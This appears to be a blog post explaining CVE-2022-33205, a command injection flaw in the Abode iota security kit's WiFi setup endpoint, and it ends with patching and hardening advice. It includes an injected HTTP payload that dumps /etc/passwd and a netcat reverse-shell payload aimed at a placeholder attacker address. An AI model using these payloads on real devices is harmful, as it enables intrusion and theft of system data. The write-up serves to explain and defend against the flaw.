The explosion of smart home devices gives us incredible convenience, but also introduces serious security threats. One recent example is CVE-2022-33205, a set of four OS command injection vulnerabilities in Abode Systems iota All-In-One Security Kit (firmware 6.9X and 6.9Z), which are widely deployed for home and small business security. In this post, I'll break down what this vulnerability is, how it can be exploited, and what you should do about it.

What’s the Issue?

A critical flaw was discovered in the /action/wirelessConnect endpoint of the iota’s web interface. If an attacker is authenticated (through guesses, social engineering, or another vuln), they can exploit how the device handles the wpapsk_hex parameter. This data is used—unsafely—to build an operating system command that runs at privilege level, resulting in arbitrary command execution.

Firmware affected: 6.9X and 6.9Z

- Vulnerable Endpoint: /action/wirelessConnect

Critical parameter: wpapsk_hex

This command injection is located in the /root/hpgw binary at offset x19bac.

How It Works

When you connect your iota to a WiFi network, you (or an attacker) use the web interface, filling out SSID, password, and so on. The password field (wpapsk_hex) is passed in an HTTP request:

POST /action/wirelessConnect HTTP/1.1
Host: [DEVICE-IP]
Content-Type: application/x-www-form-urlencoded

ssid=mywifi&wpapsk_hex=mysecretpass&security=2

Unfortunately, the backend code directly inserts wpapsk_hex into a system command, without proper sanitization.

A pseudo-representation of what the vulnerable code looks like

char command[256];
snprintf(command, sizeof(command),
    "wpa_passphrase %s %s > /etc/wpa_supplicant.conf",
    ssid, wpapsk_hex);    // DANGER: wpapsk_hex is user-controlled
system(command);          // Runs as root

The problem is that wpapsk_hex contents get injected straight into the shell command context.

Exploit Example

Let’s imagine an attacker can log in (maybe the user’s password is still admin:admin, or from a prior breach). They can send a specially-crafted HTTP POST like this:

POST /action/wirelessConnect HTTP/1.1
Host: [DEVICE-IP]
Content-Type: application/x-www-form-urlencoded

ssid=victimwifi&wpapsk_hex=mySecretPass;cat /etc/passwd > /tmp/leak;&security=2

The device will parse the command as

wpa_passphrase victimwifi mySecretPass;cat /etc/passwd > /tmp/leak; > /etc/wpa_supplicant.conf

Runs wpa_passphrase

- But then also runs cat /etc/passwd > /tmp/leak;

Result? The attacker gets a local file with the system’s password database, available for further attacks.

Chaining to a Reverse Shell

Want more than just dumping files? Here’s a basic payload that opens a reverse shell (assuming the device has busybox netcat):

ssid=x&wpapsk_hex=x;nc_attacker_ip 4444 -e /bin/sh;&security=2

Change nc_attacker_ip to your listener. Pretty dangerous, right?

Who Discovered This?

- Original advisory: Cisco Talos Security Advisory: TALOS-2022-1581
- Details in NVD: CVE-2022-33205
- Additional research: Exploit Database

How to Protect Yourself

1. Update your firmware immediately. Abode has issued a patch—if you haven’t already, apply it now.
2. Change default credentials. Always use a strong, unique password. This prevents attackers from logging in to exploit this bug.
3. Restrict local network access. If possible, firewall your IoT devices so only trusted machines can talk to their web interfaces.

Final Thoughts

CVE-2022-33205 is a textbook example of why OS command injection is so dangerous, even on simple smart home devices. Abode users should patch, secure, and monitor their security kits—because sometimes, our “security” devices can be the biggest threat of all.


References:  
- Cisco Talos CVE-2022-33205 Analysis  
- NVD CVE-2022-33205 Entry  
- Exploit-DB Example  

Stay safe, and always keep your smart home devices up to date!

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/27/2022 13:24:00 UTC